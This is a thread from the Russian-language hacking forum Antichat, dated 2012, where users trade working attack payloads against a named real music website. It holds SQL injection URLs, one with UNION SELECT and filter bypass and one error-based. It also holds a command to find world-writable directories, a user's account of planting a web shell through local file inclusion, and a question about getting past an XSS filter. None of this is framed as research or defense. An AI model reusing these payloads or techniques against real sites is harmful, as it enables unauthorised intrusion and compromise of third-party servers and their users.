ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
23.12.2012, 22:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
45774
Репутация:
26
|
|
Сообщение от FunOfGun
FunOfGun said:
Ну, у меня опять проблемы с фильтрацией
Пробую так
http://www.mp3hun gama.com/music/genre_albums.php?id=3+(union)/**/(select+1,2,3)+--+
, но чего-то я не учел... Заранее благодарен.
http://www.mp3hungama.com/music/genre_albums.php?id=-3+union%0Aselect+1,2,3+--+
ток либо вывода нет, либо я не увидел, если нет, то через ошибку надо крутить..
|
|
|
|
23.12.2012, 22:35
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
Сообщение от FunOfGun
FunOfGun said:
Ну, у меня опять проблемы с фильтрацией
Пробую так
http://www.mp3hun gama.com/music/genre_albums.php?id=3+(union)/**/(select+1,2,3)+--+
, но чего-то я не учел... Заранее благодарен.
_ttp://www.mp3hungama[antigoogle]com/music/genre_albums.php?id=3+or+1+group%0aby+mid(version( ),rand(0)|0)+having+avg(0)+--+-
|
|
|
23.12.2012, 22:52
|
|
Guest
Сообщений: n/a
Провел на форуме:
3933
Репутация:
0
|
|
Проблема вот в чем:
Сначало rawurldecode а потом:
function quote_smart($in)
{
if (is_int($in) || is_double($in)) {
return $in;
} elseif (is_bool($in)) {
return $in ? 1 : 0;
} elseif (is_null($in)) {
return 'NULL';
} else {
return "'" . str_replace("'", "''", $in) . "'";
}
}
|
|
|
|
24.12.2012, 02:04
|
|
Guest
Сообщений: n/a
Провел на форуме:
5957
Репутация:
0
|
|
Вечер добрый. Как построить строчку, чтобы загрузить в другой каталог? Или может использовать не wget?
|
|
|
|
24.12.2012, 02:06
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от Artrix
Artrix said:
Вечер добрый. Как построить строчку, чтобы загрузить в другой каталог? Или может использовать не wget?
или
|
|
|
|
24.12.2012, 02:08
|
|
Guest
Сообщений: n/a
Провел на форуме:
5957
Репутация:
0
|
|
А можно как нибудь вывести адреса папок с 0777 через php?
|
|
|
|
24.12.2012, 02:09
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от Artrix
Artrix said:
А можно как нибудь вывести адреса папок с 0777 через php?
find / -type d -perm 0777
|
|
|
|
24.12.2012, 02:27
|
|
Guest
Сообщений: n/a
Провел на форуме:
5957
Репутация:
0
|
|
Залил в дирректорию с 0777, проинклюдил, появился шел, но при нажатии пустое окно. И error log больше не идет(( LFI
|
|
|
|
24.12.2012, 02:30
|
|
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301
Репутация:
0
|
|
Сообщение от Artrix
Artrix said:
Залил в дирректорию с 0777, проинклюдил, появился шел, но при нажатии пустое окно. И error log больше не идет(( LFI
Попробуй залить то же самое, только как txt файл - и посмотри, мб код сломан.
|
|
|
|
24.12.2012, 05:37
|
|
Познающий
Регистрация: 26.11.2008
Сообщений: 40
Провел на форуме:
1410006
Репутация:
4
|
|
Есть активка "> возможно через нее загрузить скрипт? словo script и все составляющие не проходят. Нужно чтобы работало на подобии
|
|
|
|
|
|
|
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|
Похожие темы
Линейный вид
